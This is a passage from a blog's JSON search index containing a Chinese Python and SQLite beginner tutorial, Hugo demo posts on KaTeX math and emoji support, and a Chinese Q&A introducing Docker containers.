參數以dict傳入function。 1 2 3 4 5 6 def func3(**kwargs): print(kwargs) func3(even=(2,4,6,8), odd=(1,3,5,7,9)) \u0026gt;\u0026gt;\u0026gt; {\u0026#39;even\u0026#39;: (2, 4, 6, 8), \u0026#39;odd\u0026#39;: (1, 3, 5, 7, 9)} 參數以dict拆解，進function在組合回dict(需為參數指定關鍵字)(關鍵字參數)。 1 2 3 4 5 6 def func4(**kwargs): print(kwargs) func4(**{\u0026#34;even\u0026#34;:(2,4,6,8), \u0026#34;odd\u0026#34;:(1,3,5,7,9)}) \u0026gt;\u0026gt;\u0026gt; {\u0026#39;even\u0026#39;: (2, 4, 6, 8), \u0026#39;odd\u0026#39;: (1, 3, 5, 7, 9)} 其他 字串運算(Python Only) in：是否含有 1 2 3 # in \u0026#34;or\u0026#34; in \u0026#34;forever\u0026#34; \u0026gt;\u0026gt;\u0026gt; True not in：是否不含有 1 2 3 # not in \u0026#34;abc\u0026#34; not in \u0026#34;forever\u0026#34; \u0026gt;\u0026gt;\u0026gt; False 取字串的特定位置字元 格式：開始點:結束點:間隔 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 取第1~4個字元(不含第4個) \u0026#34;abcdefg\u0026#34;[1:4] \u0026gt;\u0026gt;\u0026gt; \u0026#39;bcde\u0026#39; # 取第1~4個字元(每次間隔2個) \u0026#34;abcdefg\u0026#34;[1:4:2] \u0026gt;\u0026gt;\u0026gt; \u0026#39;bd\u0026#39; # 取最後一個字元 \u0026#34;abcdefg\u0026#34;[-1] \u0026gt;\u0026gt;\u0026gt; \u0026#39;g\u0026#39; # 反轉 \u0026#34;abcdefg\u0026#34;[::-1] \u0026gt;\u0026gt;\u0026gt; \u0026#39;gfedcba\u0026#39; SQLite 關聯式資料庫(版本3.31.1) 系統命令(.開頭)，SQL命令(;結尾)\n系統命令 進入資料庫 指令：sqlite3 資料庫名稱 1 2 3 sqlite3 test01.sqlite sqlite\u0026gt; 資料庫 (DB) sqlite指令新增資料庫 1 .open test01 sqlite指令查詢所有資料庫 1 .databases 資料表 (Table) 欄位設定 說明 NM (None)可否允許空值 PK (Primary Key)是否為主鍵 AI (A.I)是否自動產生值 U (Unique)不重複鍵 新增資料表 1 create table studen(ID Integer, name String, score Integer); sqlite指令查詢所有資料表 1 .table 更新資料表 SQL語法：ALTER TABLE 資料庫 ADD COLUMN 欄位名稱 資料型態\n1 ALTER TABLE student ADD COLUMN address String; 資料操作 (CRUD:Create/Read/Update/Delete) 插入資料 SQL語法：INSERT INTO 資料表 VALUES(欄位1, 欄位2, 欄位3)\n1 INSERT INTO student values(1001, \u0026#34;Ben\u0026#34;, 88); 查詢資料 SQL語法：SELECT 欄位 FROM 資料表 [WHERE 條件];\n1 SELECT Score from student WHERE ID = 1001; 刪除資料 SQL語法：DELETE FROM 資料表 [WHERE 條件];\n1 DELETE from student WHERE ID = 1001; 修改資料 SQL語法：UPDATE 資料表 SET 欄位名稱 = 值 [WHERE 條件];\n1 UPDATE student SET Name = \u0026#34;Amanda\u0026#34; WHERE ID = 1001; ","date":"2020-03-15T00:00:00Z","image":"https://live.staticflickr.com/65535/52283398446_ed21ce37f2_o.png","permalink":"https://blog.wayne-project.com/2020-03-15/python-beginner-tutorial/","title":"智慧商業Python數據分析與應用班(版本3.*)"},{"content":"Mathematical notation in a Hugo project can be enabled by using third party JavaScript libraries.\nIn this example we will be using KaTeX\nCreate a partial under /layouts/partials/math.html Within this partial reference the Auto-render Extension or host these scripts locally. Include the partial in your templates like so: 1 2 3 {{ if or .Params.math .Site.Params.math }} {{ partial \u0026#34;math.html\u0026#34; . }} {{ end }} To enable KaTex globally set the parameter math to true in a project\u0026rsquo;s configuration To enable KaTex on a per page basis include the parameter math: true in content files Note: Use the online reference of Supported TeX Functions\nExamples Block math: $$ \\varphi = 1+\\frac{1} {1+\\frac{1} {1+\\frac{1} {1+\\cdots} } } $$\n","date":"2019-03-08T00:00:00Z","permalink":"https://blog.wayne-project.com/2019-03-08/math-typesetting/","title":"Math Typesetting"},{"content":"Emoji can be enabled in a Hugo project in a number of ways.\nThe emojify function can be called directly in templates or Inline Shortcodes.\nTo enable emoji globally, set enableEmoji to true in your site\u0026rsquo;s configuration and then you can type emoji shorthand codes directly in content files; e.g.\n🙈 :see_no_evil: 🙉 :hear_no_evil: 🙊 :speak_no_evil:\nThe Emoji cheat sheet is a useful reference for emoji shorthand codes.\nN.B. The above steps enable Unicode Standard emoji characters and sequences in Hugo, however the rendering of these glyphs depends on the browser and the platform. To style the emoji you can either use a third party emoji font or a font stack; e.g.\n1 2 3 .emoji { font-family: Apple Color Emoji, Segoe UI Emoji, NotoColorEmoji, Segoe UI Symbol, Android Emoji, EmojiSymbols; } ","date":"2019-03-05T00:00:00Z","image":"https://blog.wayne-project.com/2019-03-05/emoji-support/the-creative-exchange-d2zvqp3fpro-unsplash_hu_27b8954607cdb515.jpg","permalink":"https://blog.wayne-project.com/2019-03-05/emoji-support/","title":"Emoji Support"},{"content":" 參考網站\n不論是 Google、Amazon、微軟、VMware 都紛紛擁戴，加入 Docker 和 Container 所掀起的新世代雲端虛擬化行列，這 2 項技術成為了 IT 界的新顯學。Docker 和 Container 到底是什麼？以下 10 個 Q\u0026amp;A 告訴你。\nQ1：Container 技術和伺服器虛擬化是一樣的技術嗎？\n**A：**不是。兩者雖然都屬於虛擬化的技術，目標都是為了將一套應用程式所需的執行環境打包起來，建立一個孤立環境，方便在不同的硬體中移動，但兩者的運作思維截然不同。簡單來說，常見的傳統虛擬化技術如 vSphere 或 Hyper-V 是以作業系統為中心，而 Container 技術則是一種以應用程式為中心的虛擬化技術。\n傳統虛擬化技術從作業系統層下手，目標是建立一個可以用來執行整套作業系統的沙箱獨立執行環境，習慣以虛擬機器(Virtual Machine)來稱呼。而 Container 技術則是直接將一個應用程式所需的相關程式碼、函式庫、環境配置檔都打包起來建立沙箱執行環境，為了和傳統虛擬化技術產生的虛擬機器區分，Container 技術產生的環境就稱為 Container。\nQ2：一般常見的虛擬機器和 Container 有何不同？\n**A：**最明顯的差別是，虛擬機器需要安裝作業系統(安裝 Guest OS)才能執行應用程式，而 Container 內不需要安裝作業系統就能執行應用程式。Container 技術不是在 OS 外來建立虛擬環境，而是在 OS 內的核心系統層來打造虛擬執行環境，透過共用 Host OS 的作法，取代一個一個 Guest OS 的功用。Container 也因此被稱為是 OS 層的虛擬化技術。\nQ3：為何 Container 是輕量級虛擬化技術？\n**A：**因為 Container 技術採取共用 Host OS 的作法，而不需在每一個 Container 內執行 Guest OS，因此建立 Container 不需要等待作業系統開機時間，不用 1 分鐘或幾秒鐘就可以啟用，遠比需要數分鐘甚至數十分鐘才能開啟的傳統虛擬機器來的快。\nQ4：Container 技術是全新的技術嗎？\n**A：**不是，早在 1982 年，Unix 系統內建的 chroot 機制也是一種 Container 技術。其他如 1998 年的 FreeBSD jails、2005 年出現的 Solaris Zones 和 OpenVZ，或像是 Windows 系統 2004 年就有的 Sandboxie 機制都屬於在作業系統內建立孤立虛擬執行環境的作法，都可稱為是 Container 的技術。\n直到 2013 年，dotCloud 這家 PaaS 服務公司開源釋出了一套將 Container 標準化的平臺 Docker，大受歡迎，所以，dotCloud 決定以 Docker 為名成立新公司力推。\nQ5：Docker 如何實現 Container 標準化？\n**A：**Docker 採用了 aufs 檔案系統來設計一個可以層層堆疊的 Container 映象檔，將 Container 內的所有程式(包括應用程式、相關函式庫、設定檔)，都打包進 Docker 映象檔，並且提供了一個 Dockerfile 設定檔來記錄建立 Container 過程的每一個步驟包括參數。只要在任何支援 Docker 平臺的環境中，就可以從這個映象檔來建立出一個一模一樣的 Container 來執行同一個應用程式。如此一來，應用程式等於是可以透過 Docker 映象檔，或甚至只需要 Dockerfile，就能將程式執行環境帶著走，移動到任何支援 Docker 的環境中。Docker 公司也釋出 API，可以用來控制所有的 Container 相關指令，任何人只要使用同一套 Docker，就等於有了同一套管理和建立 Container 的方法，也就等同於將 Container 運用標準化了。\nQ6：一個 Container 映象檔內可以安裝多少應用程式？\n**A：**一個 Container 的映象檔內可以安裝多支程式，例如同時安裝 Ubuntu、Apache、MySQL、Node.js、Ruby 等。不過，Docker 官方建議，一隻程式安裝在一個 Container 內，再把這些 Container 疊起來提供一個完整的服務。\nDocker 稱這是一種 Microservices(微服務)的新軟體架構，將組成一個應用系統的每一個 Stack，拆解成許多小型服務，例如 Apache 服務、MySQL 服務、Node.js 服務、Ruby 服務，每一個服務都是包在 Container 裡的一隻程式，例如 MySQL 服務就是部署在 Container 內的 MySQL。\n這麼做的好處是可以建立一個鬆散耦合的彈性應用程式架構，也能輕易地抽換其中一個 Container，例如要升級 MySQL，只需要重新載入新版 MySQL 的 Container 映象檔，就可以完成資料庫升級，不用將整套應用系統停機。\nQ7：Container 內不是不需要 OS，為何需要 OS 的基礎映象檔？\n**A：**OS 基礎映象檔的用途是讓 Container 擁有這 OS 的檔案系統，例如使用 ubuntu 基礎映象檔就可以讓 Container 建立 ubuntu 的根目錄架構，而不是用來執行一個 OS 執行實例。\nQ8：Docker 對 Devops 有何幫助？\n**A：**因為 Docker 透過 Dockerfile 來記錄建立 Container 映象檔的每一個步驟，可以將建立應用程式執行環境的過程和配置參數，完整地記錄下來。開發人員和維運人員之間可以利用 Dockerfile 來溝通對執行環境的討論。甚至結合版本控制服務如 GitHub，可以讓 Dockerfile 具備版本控制功能，能將基礎架構程式化(Infrastructure as code)來管理。\nQ9：可以在 Windows Server 環境中執行 Docker 嗎？\n**A：**還不行。目前 Docker 只能在 Linux 平臺上執行，但是微軟 10 月中剛宣布要在下一波 Windows Server 改版時內建 Docker 引擎，未來同一份 Docker 映象檔能否跨 Linux 和 Windows OS，還需待微軟揭露更多細節才能得知。\nQ10：在臺灣，如何找到懂 Docker 技術的人？\n**A：**目前 Docker 公司還未在臺設點，但有一個 Docker Taipei 社群，成員截至 10 月有 383 人。\nDocker Taipei 也預計配合 Docker 總公司舉辦的全球 HackDay 活動，在 11 月 1 日舉辦臺北場 HackDay。參加作品將直接發布到美國和全球 Docker 開發者一起評比，獎品是明年到美國參加 Docker 技術大會的資格。\n","date":"2014-10-28T00:00:00Z","image":"https://live.staticflickr.com/65535/52564831824_2754e80d0b_o.png","permalink":"https://blog.wayne-project.com/2014-10-28/docker-10-qa/","title":"10 個 Q\u0026A 快速認識 Docker"}]